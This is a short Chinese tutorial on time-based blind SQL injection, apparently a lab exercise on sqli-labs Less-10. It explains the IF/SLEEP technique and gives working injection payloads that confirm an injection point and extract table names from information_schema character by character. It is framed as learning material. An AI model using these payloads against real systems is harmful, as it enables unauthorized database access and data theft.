SQL注入-时间盲注

特别声明：该文章只运用于学习安全测试交流之用，请勿用于其他

时间盲注原理

当页面既不回显数据，也不回显错误信息时就不能通过页面来判断是否存在SQL注入漏洞

联合查询、报错查询和布尔盲注在此时就不起作用了

时间盲注利用时间敏感性SQL来判断是够存在注入漏洞

核心语法：if(left(user(),1)= ‘a’,0,sleep(3));

IF(expr1,expr2,expr3)

如果 expr1 是TRUE (expr1 <> 0 and expr1 <> NULL)，则 IF()的返回值为expr2; 否则返回值则为 expr3。IF() 的返回值为数字值或字符串值，具体情况视其所在语境而定。

Sleep(3) 

程序休眠一定时间

手动注入，确认是否存在注入点

http://192.168.109.35:5679/Less-10/?id=1" and sleep(5) %23

页面返回发生延迟，所以存在注入点

图-1

利用substr函数来判断表名，当命中时程序程序休息2s返回响应

" and if(ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1))=48,sleep(2),0)--+

利用Python脚本来批量执行

图-2

结果：

图-3

获取所有表名

图-4

结果：